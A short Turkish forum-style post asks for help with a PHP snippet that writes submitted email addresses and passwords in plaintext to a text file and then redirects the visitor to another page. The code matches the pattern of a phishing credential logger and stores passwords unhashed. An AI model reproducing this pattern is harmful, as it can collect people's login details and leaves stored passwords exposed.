Dediğiniz şekilde yaptım fakat maalesef olmadı hocam.
if (isset($_POST["email"]) && isset($_POST["sifre"]))
{
$dosya = fopen("veriler.txt","a");
$top = "Email : {$_POST['email']} / Sifre : {$_POST["sifre"]}";
fwrite($dosya,$top);
header("Location: ikincisayfa.html");
fwrite($dosya,"\r\n");
fclose($dosya);
die("Kayit Yapildi");
}
?>